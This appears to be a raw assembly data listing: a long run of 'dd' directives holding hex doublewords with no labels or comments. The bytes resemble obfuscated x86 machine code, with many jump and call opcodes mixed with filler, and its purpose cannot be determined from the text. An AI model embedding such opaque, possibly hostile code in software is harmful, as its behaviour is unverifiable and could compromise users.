dd 0E86010B7h, 0Eh, 0DDC4E572h, 0BF47C6D3h, 133F0F29h
dd 0F5A2CE2h, 8Dh, 66596100h, 2C08F381h, 0FEBF0F60h, 0F355F5BFh
dd 66606155h, 0AD0C081h, 8161DE8Bh, 0CE5E77D1h, 2EA8BB16h
dd 0CE806DF2h, 0E8FA8B47h, 8, 0ADD73CA4h, 4F810D02h, 0F859ACB1h
dd 0F7E4B966h, 0C9806AB7h, 7DD4807Fh, 3BB819BEh, 28D0F3Fh
dd 8A000000h, 0FCCABAFEh, 815004E8h, 4E2245E6h, 66FC5E37h
dd 667B7AB9h, 0E95AC7BEh, 13h, 49ACF3A8h, 0E2FB7992h, 4FD60C4h
dd 3ADBCCE0h, 0F5100C5h, 0E9F8F2B7h, 0Bh, 0D232B532h, 914BFA1Bh
dd 0F009AFBh, 0BF66DEB7h, 0C1B0C117h, 0BE8h, 0EF649D00h
dd 34AB4C9Ah, 9E1FF8F3h, 0CB50F281h, 665E067Eh, 0E91835B8h
dd 9, 0FF93BCBFh, 849B6E3Dh, 5880FA0h, 0B8000000h, 2EE72CA7h
dd 820FB4B5h, 17h, 12E9h, 434BE00h, 29FF579h, 4CF93A97h
dd 7CECDF50h, 6025AEA6h, 0FE8h, 48FE3000h, 0A13C71Ch, 0D36F01Fh
dd 282548EDh, 7E9h, 0DA8C0200h, 0ECB0C6A2h, 0CA8B6659h
dd 5E861h, 0B6C60000h, 8BAF94DAh, 816659DEh, 0E9ABA1D3h
dd 5, 36A02634h, 0DB8166FDh, 860F22E0h, 2, 0AE86EB1h, 1F000000h
dd 71557E65h, 3EF15188h, 28BB66D1h, 14E95848h, 81000000h
dd 0C7E413E9h, 4BED4EEBh, 0AE6ABF72h, 0A1710C21h, 6085F53Fh
dd 7F36B8F8h, 666160E8h, 0F79F281h, 0DE8h, 0FD1B6B00h
dd 796415Dh, 63FBA866h, 0C881F7D9h, 23387201h, 0BE66515Bh
dd 0E95B929Dh, 12h, 0A7332619h, 9266E1FFh, 0F93BCC40h
dd 1FB685E3h, 8B66A18Ch, 0D08166F8h, 0E9F956BDh, 9, 0F4F0CDB9h
dd 0F3A73728h, 0F443BE1Dh, 8D0F49A7h, 2, 14BAACB1h, 0F10239Eh
dd 0C18BD3BFh, 4800Fh, 0B8660000h, 800F91FAh, 0
dd 28B0F60h, 60000000h, 0AE861h, 6DE50000h, 0E2BDA13Fh
dd 467E64A6h, 0EE8h, 87CBC100h, 582D2F73h, 9FF3F4Bh, 5A4BE69Ah
dd 59BE6158h, 666304B6h, 0B3C608BAh, 3870F80h, 80000000h
dd 8B0FC7C6h, 6, 880Fh, 0F38B0000h, 0F50FE8Bh, 684h, 8B0F00h
dd 58000000h, 0F4B966F8h, 0D98BF591h, 9E9A5B3h, 0D2000000h
dd 6F46289Dh, 0D43CB33Fh, 6612CF80h, 0B966F98Bh, 7E8B38Eh
dd 0EE000000h, 0F23E2000h, 0CE8E923h, 0E0000000h, 65554AF9h
dd 35EC063Ch, 5034A5FAh, 805B5858h, 0E860FFF0h, 6, 40CAC4FCh
dd 0AE97A54h, 6B000000h, 4D026D26h, 2677229Ah, 0B70F5BF1h
dd 0F88B61D3h, 0F557BF66h, 9E9h, 8AB30D00h, 400E4DCEh
dd 7E86A68h, 0FF000000h, 0FB213702h, 4FBE268Ah, 5805C002h
dd 8AD88B66h, 11E9E5h, 3DB40000h, 512F0745h, 40B02ACEh
dd 0C2642ABAh, 6673A593h, 0F5631ABEh, 8C0Fh, 0E0810000h
dd 480D8359h, 0BFDFB70Fh, 21504D13h, 0E95B57F8h, 7, 53849C16h
dd 0E973854Eh, 0Bh, 0A7E4054h, 20B5389Ch, 0F1F97DDh, 180h
dd 8B66FC00h, 12E9C7h, 0CD340000h, 50B7243Dh, 9AE082D0h
dd 0C302887h, 0AEBC0CD6h, 8E9h, 3247E300h, 8744395Ch, 2860F22h
dd 8A000000h, 8E8CFh, 2C950000h, 110AA538h, 0F598A7Ah
dd 583h, 0CF816600h, 12E9E2CFh, 15000000h, 579E1275h, 9E1C7181h
dd 8068E639h, 49FE932Dh, 9E8608Ch, 0E0000000h, 0D0B7A4ACh
dd 0A2D7BB03h, 0B361FC59h, 870F6084h, 5, 309C49B9h, 0F88B661Bh
dd 0BA66FC61h, 0E68A0789h, 1334B866h, 0F9F2B70Fh, 69C38160h
dd 8B57B906h, 0F56061F3h, 27558CBEh, 0FD8A6112h, 0F41CF80h
dd 28Fh, 669FB600h, 0BE0EF181h, 0E8AFDF80h, 5, 3B89FC44h
dd 1DD88104h, 584342D7h, 4082BF66h, 8A60CA8Bh, 11E961E5h
dd 0FE000000h, 6C71713Ch, 0CE6A5F3Ch, 0EF131A6Dh, 694B9213h
dd 0DE8h, 1EE68700h, 3CD7450Dh, 0BF964918h, 82B91CAEh
dd 595762DFh, 0CBB70FF9h, 0D6B70F60h, 3820Fh, 0BF0F0000h
dd 6E961D3h, 71000000h, 0F10CA10Ch, 0F08093h, 0E9DE8B66h
dd 13h, 362576E0h, 0F9E59928h, 0B34E19E5h, 94C68E1Dh, 669D1B4Bh
dd 0A64BF381h, 4038AABBh, 66FC6006h, 99E2C881h, 66DCB261h
dd 0E9E670BBh, 0Ah, 0EB461CB9h, 2419AB1Fh, 0BF606E53h
dd 1D29A56Bh, 0DE8B6661h, 7D29BF66h, 80C1B70Fh, 810F05E9h
dd 3, 51D2BF0Fh, 5EC9BF0Fh, 8AFA8B66h, 8AF08BE6h, 0E9E18AD0h
dd 0Ah, 0C59896B8h, 0A3B11726h, 8F0FFCA4h, 17h, 0FE8h
dd 0A95BF000h, 0DB51B2CCh, 0CC40E09h, 9F2E818Ah, 665BC68Bh
dd 52A168BEh, 8B66F85Bh, 0CE8DAh, 39BF0000h, 3567A95h
dd 520782E1h, 0C58ADA10h, 0DE8B665Ah, 0C800Fh, 800F0000h
dd 6, 140AF681h, 66F916EAh, 0F5A9CBFh, 0F8Fh, 0AE900h
dd 887B0000h, 819778Bh, 1361A4B6h, 0B6B9B966h, 0F23E780h
dd 383h, 0D6B70F00h, 0D6B70FF8h, 0FB8B6660h, 0BE5566B8h
dd 0EE81612Bh, 591D2AA0h, 5157FFB3h, 5B5AD98Ah, 0E1816660h
dd 0E8810E6Ah, 427B21Ch, 11E861h, 0E62B0000h, 302468FAh
dd 99DB41C8h, 0FAA7C8E6h, 6632943Fh, 0F58F38Bh, 180h, 0B70FF900h
dd 10E8FAh, 0DE6C0000h, 0E76A7EA0h, 7D3501D5h, 6DA78135h
dd 0FE91DF9h, 71000000h, 3457DB07h, 4F6066CFh, 7CEDB924h
dd 0B85E7D51h, 73943C9Dh, 512A73B9h, 0B5CB8B34h, 51ACB548h
dd 5FFAC680h, 3716B966h, 2820Fh, 0BFB00000h, 3DCDBA66h
dd 0BE9h, 0F5B82A00h, 72D8F588h, 6B05611Eh, 0BF08166h
dd 5E96079h, 98000000h, 0D16D4F9Fh, 0E2816660h, 0B70FE125h
dd 0F6161DAh, 189h, 0B70FF900h, 0D08166C9h, 8166B87Eh
dd 0F4BD7C3h, 13E8D7BFh, 4B000000h, 7646D1B5h, 0D2317733h
dd 22CED9D8h, 924E3663h, 9CBA0DB8h, 5A43BC22h, 0EDFBBA66h
dd 3E85EE81h, 6FB83531h, 0F598894h, 28Dh, 81D58A00h, 352C33D9h
dd 0BB66F85Bh, 0DE9006Eh, 0B4000000h, 0EBFDB109h, 0CA30B62Ch
dd 62786264h, 28E0Fh, 0F28B0000h, 663BE080h, 0A88ACA81h
dd 10E96060h, 93000000h, 0E2FA201Ch, 71A12BCDh, 2A2E923Ch
dd 812F7590h, 0BD9929E9h, 0E861613Bh, 0Eh, 0EAC77D3Fh
dd 66021C15h, 68030F3Dh, 0B55AC097h, 12E9B2h, 6EA90000h
dd 15CE424Fh, 242AFA98h, 0D726056Ah, 0C23DCB67h, 5DB9A9BAh
dd 6E860h, 0B1E50000h, 0DE090B81h, 6659EF8Ah, 8B21E881h
dd 0D3802BB6h, 0D98B665Dh, 11E9h, 0B2446E00h, 0CA0A14F9h
dd 0E34262D6h, 0C61E9144h, 830F8624h, 3, 0F5DABF0Fh, 53F88B66h
dd 7FD18166h, 840F5EE2h, 2, 8B66D08Ah, 0BB93BBD1h, 0D08A0C91h
dd 2870Fh, 0F1B30000h, 56CA8B66h, 0CE9h, 8E289500h, 0F686A82Bh
dd 0EDEDD001h, 0EE85828h, 4000000h, 6F21A31Ch, 1A71D720h
dd 0A38FA60Fh, 8B5BF82Ah, 0B8E0FFBh, 0F000000h, 58Fh, 0AD34BE00h
dd 800F4CD3h, 14h, 0FE9h, 1E403400h, 0B8255867h, 9F43ED76h
dd 3EED1340h, 0C8A0Fh, 870F0000h, 6, 820Fh, 0BE660000h
dd 60B3E932h, 7840FF9h, 60000000h, 0F5E68166h, 8F0F6163h
dd 4, 0FBCEB866h, 0B70FE18Ah, 38B0FF1h, 80000000h, 0DE933EFh
dd 0D5000000h, 5CEB0D9Ch, 0C3C94CA0h, 0EA79C388h, 0A9E6B950h
dd 0E85A1A7Ch, 9, 294D2BC9h, 698C478Dh, 0F28B66A6h, 830F575Fh
dd 15h, 10E9h, 0CA138700h, 2C0AAE45h, 0C935B547h, 0B83E269Ah
dd 5E85F29h, 0E5000000h, 0E043608Ah, 7335F381h, 0E9596E46h
dd 14h, 0FDC6D9A0h, 4658729Ah, 0E20C1C1Fh, 0FEC4705Fh
dd 2E477F74h, 3E09B966h, 14E9h, 0D88C0800h, 24554303h
dd 9B14984Fh, 431F11Ah, 2DC31C24h, 9E8E4h, 7E7C0000h, 0D5C7BE2Eh
dd 8A60DCE1h, 0FE95FC7h, 0A2000000h, 4F3A05F6h, 734561DEh
dd 99303BE5h, 13E87D9Dh, 0D8000000h, 955BAC05h, 0B3C2C4B4h
dd 86050A51h, 0CA755D89h, 5B5126B7h, 0DF8B665Bh, 6E9h
dd 0C224100h, 0E91F9F28h, 0Dh, 0C7DD10ABh, 0C94F3B0Ah
dd 44E1ED7Ch, 40D280EFh, 1B89EE81h, 0B8665546h, 820FEB9Ch
dd 4, 585F5352h, 0CE95251h, 0C2000000h, 41841A64h, 0BA479BFFh
dd 5E3F91C7h, 0C3B70F5Ah, 8E0FCA8Ah, 2, 7E9CEB0h, 0D000000h
dd 61BF4F81h, 0BE601554h, 2416D459h, 61F2B70Fh, 0FF28B66h
dd 0B160C6B7h, 0E961F832h, 14h, 7536A8FBh, 5E2743F5h, 0E64A60BBh
dd 23F6A8BBh, 60CD298Dh, 880Fh, 0BB660000h, 8B5735CFh
dd 12E95FDEh, 0EA000000h, 6F669453h, 1C3DB5DFh, 0E23225AAh
dd 867EA415h, 0D281667Ch, 11E9F236h, 0
dd 31A36CDEh, 89DAFD86h, 0FC4E98B9h, 2362517Bh, 12E8h
dd 8D308F00h, 0B7257168h, 0F648086Bh, 0F5AE3683h, 60DC0B2Eh
dd 5EF78166h, 0D78B6648h, 66F85961h, 0E9B617B9h, 6, 96E8136Dh
dd 8B66F7C8h, 6C92BAF9h, 0DB813C94h, 0D7279E9h, 0B8665650h
dd 5E5A9596h, 6E9FCh, 7BA20000h, 73D2E8Fh, 81D78B66h, 0A57EE6E8h
dd 0D3816610h, 0A0BB3BFAh, 813937BEh, 72247C8h, 5E9FC4Fh
dd 0F4000000h, 0DABB2858h, 0AE953h, 92EC0000h, 4F8A3AFEh
dd 60F2FD2Eh, 97B96659h, 6E86054h, 0E8000000h, 0C32629B4h
dd 13E9FFh, 3D980000h, 0EEB07C1h, 98D0A696h, 0C101E9AFh
dd 0EB80DE3h, 8B6659C5h, 0F6BE61D3h, 605F99C1h, 3EA1B966h
dd 32BF6652h, 80615E2Ch, 0BE9AEDBh, 82000000h, 0BC1CEF36h
dd 0E37FF0DEh, 665100B3h, 0D6ADF681h, 11E85Eh, 0D0620000h
dd 74392C44h, 0E7C47750h, 0D3C0BDDFh, 0F55625Bh, 0B45AD8BFh
dd 0E9BE66C6h, 0B1F18A76h, 0AE929h, 6BDF0000h, 26801BB0h
dd 4BD551A4h, 0EE9h, 1B341300h, 75E06334h, 0DA76AFFFh
dd 0B93406D4h, 22927CC7h, 5BB6660h, 0EE81613Bh, 70FCC89Ah
dd 0DE8h, 4349AF00h, 7BF963DBh, 9598FBCh, 0C681346Ch, 278752Ah
dd 11E959h, 0CC070000h, 0F0E38ED0h, 3C34164Ah, 0A8228547h
dd 500DF317h, 38C0Fh, 8B660000h, 0E3805ED6h, 890F60A1h
dd 2, 56536160h, 60615B5Bh, 9B8491BEh, 0CE855h, 16510000h
dd 1D28AAC1h, 0F8A325E5h, 8B66982Fh, 0F615BC8h, 8166FABFh
dd 66EDCBD8h, 0DA81D78Bh, 6EF4F29h, 59FE8B56h, 0C59C1BB8h
dd 61606072h, 0F081FC61h, 7A2B700h, 0B1F78B66h, 9E88Bh
dd 0FCE00000h, 0DCCA9805h, 539E2703h, 0FE9h, 7A06A200h
dd 0D9C838D9h, 0A076B55Eh, 8CE38AA6h, 0F525959h, 48Fh
dd 3DBE6600h, 13E95AF2h, 0F7000000h, 34BDABE3h, 0E7046A9Dh
dd 384FC49Fh, 722BE86Eh, 0BFF9805Fh, 1D446F97h, 38A0Fh
dd 0B70F0000h, 0FD88BD7h, 79BAD1B7h, 811F93D1h, 0AC7942CAh
dd 6E87Fh, 0C2190000h, 57295776h, 13E857h, 0F55C0000h
dd 0A2ED6F24h, 756E6F8Fh, 7426501Dh, 0FCED3927h, 585B5980h
dd 0F8FCC80h, 8166FFB7h, 66C777D8h, 4AF1C681h, 271CF781h
dd 90BF1531h, 81401068h, 8A83B9D9h, 10E96069h, 0B9000000h
dd 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 662E2DFDh, 616BB3BAh
dd 86D780F8h, 8F0Fh, 68B10000h, 7DD78166h, 3BEE80ABh, 0B78EB0F5h
dd 0E68A6007h, 10E861FCh, 0C000000h, 9BE4E7D3h, 1876FDCAh
dd 0E8E54E73h, 59A14268h, 0FEB9B866h, 14E9h, 0D5285200h
dd 5814978Ch, 5AA2A648h, 3E019C29h, 949F77E1h, 26BB66D2h
dd 2820F16h, 0B5000000h, 8E8BBh, 1B920000h, 3C5073BAh
dd 665B8DC3h, 0ED30CB81h, 0C3BF0F60h, 12E961FCh, 0EE000000h
dd 8F6F9639h, 95296D2h, 1A064257h, 23F13C7Eh, 12E9B6h
dd 21680000h, 7BD6F5C6h, 3758C93h, 0B90E24CEh, 0AE40A427h
dd 0DBEAA2BFh, 0CE816646h, 8B664E24h, 11E8FCF0h, 5C000000h
dd 9D59CBB3h, 0C5F186BDh, 5B692BB5h, 25497930h, 0FD27BB66h
dd 0CE95Eh, 80280000h, 92C2DDEDh, 2B3DAA64h, 0BF0F6FB1h
dd 0FB960D7h, 66407DE2h, 0F61D98Bh, 281h, 0E838B400h, 9
dd 1E77AA86h, 154EE36Ch, 5B53B618h, 13E8h, 0D682B600h
dd 1ED6DEEAh, 7222373Dh, 64D3630h, 5E8B01D3h, 68D0Fh, 8C0F0000h
dd 0
dd 58F5565Eh, 13E9h, 0D90B3100h, 398F9C8Fh, 9E7A0DC5h
dd 4C3C8B8Fh, 1A456A5h, 0FD1F1FBAh, 7E936h, 0BDCC0000h
dd 4750FBFh, 1770B898h, 0BF0F7209h, 0CE9F6h, 0E3D90000h
dd 0F59743A5h, 944B4F6Dh, 0BA666DBEh, 840F829Ah, 11h, 0CE9h
dd 87FDF500h, 964F6285h, 0E8C06C35h, 51F28BBDh, 18D0Fh
dd 5EF50000h, 0B1C3BF0Fh, 7E95Ch, 22F40000h, 200F4401h
dd 0D38B6637h, 69B8D6B1h, 666BC134h, 0F0E74BFh, 0D180FFBFh
dd 94C681EEh, 0E95AF0B7h, 0Ch, 57BF5544h, 0D0962028h, 8A96DA68h
dd 0BF0FF08Ah, 59FC56D1h, 13E94CB3h, 9C000000h, 0DD1B8BECh
dd 0D0536650h, 0AEB82D8Fh, 4BE88E07h, 0AE9D52Fh, 73000000h
dd 0FF45A5D5h, 4CC9FFh, 3CBE66DEh, 14870F63h, 0F000000h
dd 0E8Dh, 9E900h, 28450000h, 4E6ADF1Eh, 0E8B867BEh, 12h
dd 2132AAB3h, 780E3568h, 0A1759A3Eh, 0A3EFE31Bh, 8B66274Ah
dd 0FA8B5ED9h, 9890Fh, 66600000h, 66E03DB8h, 0BB61F08Bh
dd 4C883149h, 616CD181h, 816657E2h, 0F9CC8EE0h, 0C3C28166h
dd 0E89CB78Ch, 10h, 208144D3h, 0E958EBA9h, 8DB5AFD4h, 92DDFD9Bh
dd 0DE95AFCh, 0B1000000h, 2A8B1D5Eh, 0F147F80Bh, 0BA1877D4h
dd 0E9C7BF0Fh, 14h, 51BCC56Eh, 7DE8803Dh, 1D68D90Ah, 0A1401DA5h
dd 7C6F0DF8h, 0CE8D18Bh, 0BD000000h, 118D7B58h, 0F3511AFBh
dd 818EEB87h, 0E3E45CC1h, 890F5E71h, 5, 0CBF68166h, 0C9B960BFh
dd 81028D88h, 92760DDFh, 8B66617Ah, 0DA8166CBh, 0D78B76CEh
dd 0FC8BF0Fh, 0B84h, 5810F00h, 0B9000000h, 7F7143F4h, 3830Fh
dd 8B660000h, 8DD181D1h, 8B2A149Eh, 0CB8166F8h, 32BE3ED2h
dd 66234F35h, 0C780D88Bh, 98B051E4h, 0B1FC8A59h, 880FF82Fh
dd 4, 6127BA66h, 0C28EBA60h, 890F357Dh, 2, 0B9615E56h
dd 323EBDA8h, 0A8C0Fh, 5E90000h, 0E0000000h, 0FD744458h
dd 3AD18166h, 56BF66F4h, 0E953F512h, 5, 95922D99h, 0FA8B58E5h
dd 10E9h, 0E341C000h, 0D865698Dh, 0B852FFC2h, 0A254C84Dh
dd 95EE8170h, 0F526334Fh, 0AE9h, 521BEA00h, 57DA0BDCh
dd 0E935DB9Dh, 9, 0F3EE7BDh, 4DCBD7FAh, 0CE849h, 0EB670000h
dd 1E4990AEh, 0CD4A818Eh, 0FBBA9783h, 5B5108E3h, 307EEF81h
dd 4DB8225Ch, 0BA5B9E14h, 266B5DFh, 346B966h, 9DE98160h
dd 0E9732048h, 0Eh, 5157EE23h, 0ED48A5C6h, 573E7FD5h, 6661E5A1h
dd 6617C2B8h, 0E89612BBh, 10h, 0DDF3E7F8h, 56AED9F8h, 1900BD9Fh
dd 34F8C2D3h, 0B742B866h, 0C7CBF5Bh, 0C1811721h, 7694B216h
dd 128E0Fh, 0E9560000h, 0Bh, 16FAEC5Dh, 7A28C1A4h, 5FD00D6Bh
dd 68F0Fh, 0DF810000h, 0D86867Eh, 9E9h, 7214A100h, 77E76C02h
dd 0B70FD1D5h, 0FEB70FD1h, 9E857h, 0C39A0000h, 0EE29ACD3h
dd 662A32FDh, 80FCC081h, 27BF585Fh, 66795E73h, 80CCCBB9h
dd 0FA8B42C7h, 0D8CCEDBEh, 13E937h, 69030000h, 0CAE63B43h
dd 0DF06C15Ah, 21DA2582h, 2C2FEC80h, 0C0B70F7Ah, 8E860h
dd 0AC030000h, 2063F439h, 0CE9ED3Bh, 0F000000h, 1FA2DD8Dh
dd 0E7669CD8h, 5FE409C1h, 10E95161h, 0FC000000h, 0CB667826h
dd 36EEC0C2h, 664898E3h, 595D64DBh, 28A0Fh, 0F78B0000h
dd 0DE8166FCh, 0BA609428h, 74C31A98h, 0ADD98166h, 0D98161D9h
dd 6FBCEF9Dh, 0FE9F9h, 0E450000h, 5D065FC8h, 9415D25Ch
dd 98594C10h, 0C68166EEh, 8B660CA9h, 0DF8B66D3h, 0B3B866FCh
dd 10E9C2h, 772B0000h, 65C2CEB9h, 0D254B8A3h, 0AAAF433Dh
dd 0A6B3B356h, 0DFB70F60h, 0D98061F5h, 0BF0F60B9h, 0BE860F2h
dd 0B3000000h, 0E8AED3A5h, 5DFD1B6Bh, 61599641h, 0C2B70F61h
dd 0E9D2B70Fh, 8, 7E37B9FEh, 0F6E2AD37h, 0D798B860h, 61F51C64h
dd 0BE857h, 0CC9B0000h, 43C8384h, 23CE08C1h, 0BE9E5h, 9D460000h
dd 0DA8FE7F4h, 0AB8D4503h, 0E95858B7h, 0Dh, 0F7666CF3h
dd 0EED7A7DBh, 0ABCD6263h, 6E977h, 99A60000h, 2A10C2FBh
dd 493DBB56h, 665A5803h, 0E96A3FB9h, 11h, 4BCB5538h, 489C3A60h
dd 13F98B7Ah, 0DD7DCDF4h, 6660F512h, 32B6CA81h, 0DE9h
dd 42768700h, 94BA222Fh, 0BC9BC6CFh, 6061FC2Fh, 0B302B866h
dd 5880Fh, 81660000h, 617508E8h, 6E59E881h, 0B96605F3h
dd 0B70F189Dh, 0E950B4FEh, 6, 9791EFA1h, 800F6183h, 5
dd 5BC28166h, 830FF5CBh, 2, 8B0FEB8Ah, 13h, 0EE9h, 16C32F00h
dd 17E59733h, 0EC267866h, 0BA1BB755h, 1E7250BCh, 0E9C28B66h
dd 0Fh, 2A86042Bh, 0F588F5B8h, 611E72D8h, 0BE466B05h, 0F3DDA2Bh
dd 0BE9h, 0AF1CB000h, 0E81D7D8Dh, 65E319F0h, 11E8h, 9F966900h
dd 0E3F4B9FDh, 19897A56h, 8B6E6DDAh, 0EEB2956Dh, 0FCB8B5Ah
dd 386h, 0C9B70F00h, 2AAA07BEh, 8B66532Ch, 0CE95FF7h, 76000000h
dd 486C7DC2h, 7243AA2Ah, 0F21AB47h, 0BF0FF3BFh, 0AE9FBh
dd 56D10000h, 83783928h, 0AE91B490h, 2530B866h, 0B4C2B70Fh
dd 0E9F8B21Ch, 0Ch, 3173D178h, 0C5D38AF6h, 0A9779B0Fh
dd 8E960h, 72380000h, 845523BEh, 0C68B5DAAh, 0B70FF961h
dd 5CEF81D2h, 0F3DAE7Eh, 280h, 0FC7FB200h, 25C1BB66h, 0B8A0Fh
dd 870F0000h, 5, 9516EDB8h, 7E86025h, 68000000h, 9F644DFCh
dd 0B6B2F3BBh, 8B666159h, 0C88166C1h, 0F38B8703h, 1830Fh
dd 52F80000h, 815ECF8Ah, 98088FEFh, 2FBF661Bh, 0F8AB273h
dd 68Ch, 0D6DF8100h, 0E97A9D0Eh, 0Ah, 0CD9FE6F6h, 28705306h
dd 0BE99303h, 79000000h, 9BF7A6C7h, 0FD0041DFh, 0B8664F64h
dd 0BB66D04Dh, 0FC57F260h, 0DE85Bh, 7E880000h, 8155CE82h
dd 4815FEC7h, 8A5CAA7Dh, 0DE959DDh, 94000000h, 2E570565h
dd 2EEF7815h, 129F05DDh, 8B0Fh, 0CA810000h, 190F3259h
dd 0A73035B9h, 0C9CF8144h, 0F769AAEh, 98Bh, 8D0F6000h
dd 0
dd 13E961F9h, 21000000h, 1BCCA0DCh, 87DC2E6Ch, 331021CAh
dd 3BBA9369h, 8F0FFB1Fh, 0
dd 0FC9C880h, 880h, 800F5700h, 0
dd 0C1B86658h, 0F16B0C2h, 0D78BF8BFh, 0FE9h, 0E2E4E00h
dd 0EF83A523h, 9D9A56C3h, 0EBD02FE0h, 0CE8h, 35DB9D00h
dd 0B094751Fh, 84343E0Ah, 11E95E2Bh, 0C0000000h, 276A3E48h
dd 0B814371Fh, 0FE0CD82Fh, 0EFA4240Ch, 0FD78C0BAh, 4761BA04h
dd 8D0F2EC0h, 2, 8166CF8Bh, 0B72884F0h, 0E92EB3E8h, 6
dd 5776C219h, 81665729h, 817592C1h, 0A02E64DFh, 14E8523Fh
dd 0D3000000h, 3A0AE4B8h, 5D1912FEh, 13C51F05h, 2BA79F00h
dd 81991A33h, 8061BEDEh, 815E5B76h, 0E2342BC8h, 0E99CB818h
dd 810F3242h, 5, 0E2E28166h, 6613B438h, 0DA36CB81h, 6D52F781h
dd 0B86606EEh, 14E9C1DCh, 50000000h, 0D4675A68h, 8A8CD25Dh
dd 984E1C01h, 0A3FF59CDh, 8BF4691Ah, 0B95B57D7h, 0D6B62FFh
dd 8166F28Bh, 0FC49B9D1h, 0B1C2B0BFh, 24B86607h, 9E9C9h
dd 3FB80000h, 0F7BEDE42h, 0F58C12A3h, 0FE9h, 1EFF9E00h
dd 55F17664h, 12AB425Ah, 0BE148DA4h, 72C78153h, 5E38BA8Eh
dd 8EEB8166h, 0DCC78148h, 0F01FA6Ch, 6E9DEBFh, 0C000000h
dd 38C293F1h, 0CF8B66EBh, 0F5D9BF0Fh, 8A0FE68Ah, 5, 2E3343BAh
dd 0D8B0F35h, 60000000h, 8D0Fh, 81660000h, 617B2ED1h, 0D7CA8166h
dd 8AC28B3Bh, 66D681F9h, 66583E10h, 66E02EBAh, 5012EB81h
dd 5860Fh, 66500000h, 0E959F08Bh, 0Eh, 0AB729F25h, 0B6E514E2h
dd 42E4703Fh, 880FD8C5h, 0
dd 58DFD681h, 0DF811F6Ch, 264DD298h, 76ABC881h, 0BF0F2A62h
dd 8EE080F6h, 0B966F78Bh, 0F5F9BFAEh, 0CB8166FCh, 0BF0F3F8Bh
dd 0B0D7B8D7h, 8B667DEFh, 0E38166FBh, 810FDF88h, 5, 98D38166h
dd 0E6816680h, 6660F8D0h, 0B813BCBEh, 40D69780h, 2D78161h
dd 6636E05Eh, 0D078F381h, 14E9h, 0AD52B200h, 0FCB7208Fh
dd 91BAA1B2h, 2E9CE0B4h, 42139F4Ch, 8074B46Ah, 9E9E1ECh
dd 0E4000000h, 0A606A6h, 0C62D85A8h, 0A8DB8166h, 816660E2h
dd 66EE18C2h, 8161C68Bh, 7EE04BE1h, 0AE91Dh, 1C6A0000h
dd 1487D669h, 3CBAFA88h, 0AAD18166h, 0C3B70FEEh, 0A890FF9h
dd 0E9000000h, 5, 0CBB5E5ADh, 0E4BE66EBh, 0F9BF0FEBh, 28D0F53h
dd 60000000h, 81665A61h, 6641C1DBh, 0F2C66BBh, 0DE9FBBFh
dd 83000000h, 0C74355E0h, 4DFB1280h, 0E290C79h, 0E0FFB866h
dd 0F5E7B2F9h, 0DB8025B0h, 38C0F7Eh, 66000000h, 8F0FF88Bh
dd 0Dh, 8E9h, 0AB009F00h, 9033A958h, 8830FC4h, 0F000000h
dd 280h, 81A1B200h, 3ABD07F2h, 43C18169h, 0F902930Eh, 0BF0FD38Bh
dd 3830FD7h, 80000000h, 0CE85FF7h, 0A3000000h, 87A2B5A2h
dd 2CB269E0h, 80A2180Fh, 805E5AEEh, 0CE8B7D0h, 0EC000000h
dd 0DE26BAC4h, 0D27E58BAh, 5374322Fh, 5FCFBF0Fh, 0EE95Ah
dd 84220000h, 58C8E109h, 3AD5E69Ch, 7795D43Fh, 0DE9h, 9F714200h
dd 0CF3F5BEEh, 2182C3BBh, 0D08BCF58h, 1830Fh, 0B6FC0000h
dd 18D681D0h, 605A2AFBh, 5E960h, 123E0000h, 807BB659h
dd 666123E9h, 0EE54E181h, 96C5BE61h, 0AE93051h, 1A000000h
dd 5A756D6Bh, 1A466DE2h, 0F78B603Eh, 5A12BB66h, 12E961h
dd 0A0AD0000h, 1C437CB7h, 5DCC62B0h, 991CBA5Ah, 592B0521h
dd 0B4EBC480h, 0B86660C5h, 0E961F05Fh, 0Ah, 61641FDEh
dd 0BFF45553h, 0B70F7AFCh, 8E960D6h, 0CA000000h, 922ECE5h
dd 61D65187h, 8C0F51F5h, 0
dd 3870F5Fh, 0F000000h, 6E9FBB7h, 0BD000000h, 41F020F2h
dd 830F60B3h, 2, 0BB666160h, 6661DCDCh, 56A206BFh, 606BD281h
dd 0F582430h, 8B0FD1B7h, 2, 9E9C28Bh, 0F000000h, 0C35979A0h
dd 0B1D3F618h, 2B9DBF66h, 0DFB70F60h, 0B70F61FCh, 10E9C6h
dd 0FB910000h, 1F1C009Ah, 0E0E2FF92h, 77191C3Ah, 0E9F91647h
dd 0Fh, 0EC71F15Ah, 0B11F510Eh, 0AAB1AC3Bh, 66EF9A78h
dd 8E9CE8Bh, 0B5000000h, 1F6381D9h, 662CFB53h, 81B9D3BFh
dd 493C47C1h, 842ABB40h, 81666347h, 0BB3BC2F2h, 2C05A9E3h
dd 0A5653CBEh, 8B3FB173h, 0BE9C2h, 0B6250000h, 0FD67697Fh
dd 0E07409B1h, 0EE95Ch, 56F10000h, 0DC071C88h, 0CD07C3AEh
dd 4C57C3FEh, 9DA4C181h, 0F5F97CABh, 12E9h, 0C1F14A00h
dd 0EEBEF7F3h, 1ECB3244h, 7F678B18h, 66043090h, 494AC281h
dd 9E957B2h, 50000000h, 0C6CDDF37h, 10073029h, 3840Fh
dd 0B70F0000h, 0FFCF8D7h, 0A8Ah, 4840F00h, 66000000h, 668064BBh
dd 0BB1A19B8h, 7A5E804Eh, 0AED28150h, 5E5597BFh, 13E8h
dd 0B3AA3A00h, 0BED8E139h, 925C1DC9h, 7B541F0Eh, 84084749h
dd 0DE8158F5h, 54D3991h, 0F28B66F5h, 2840Fh, 0A1B30000h
dd 8E9h, 7516AD00h, 0CCD7D5h, 6810F5Eh, 81000000h, 0F66EDBCFh
dd 4159BB3Bh, 81662C3Dh, 0FA233E3h, 58Ah, 0D1816600h, 0F38103C3h
dd 1ED15E94h, 11E9h, 0A888A200h, 66115E5Dh, 4D84A682h
dd 0CBECDCh, 0C681F527h, 5116AB96h, 0AE960h, 99350000h
dd 0DE69B4A8h, 431D261Bh, 4F130CBEh, 2ABA617Dh, 0B86F3AEEh
dd 2C4E2FACh, 1A84CB81h, 8E8195Ch, 30000000h, 3798C8A1h
dd 60E81997h, 0D9F18166h, 61DF8BC6h, 5AF95258h, 5060FA8Bh
dd 0EFF1C981h, 8B5F1C55h, 0E95261D3h, 6, 0DA9997B7h, 0E85F5FEDh
dd 13h, 0DE16E434h, 0D723602Ah, 0C672107Ah, 0A8968800h
dd 582A6F4Bh, 9CEE8166h, 6652FCF8h, 0BEDAC781h, 0E681665Fh
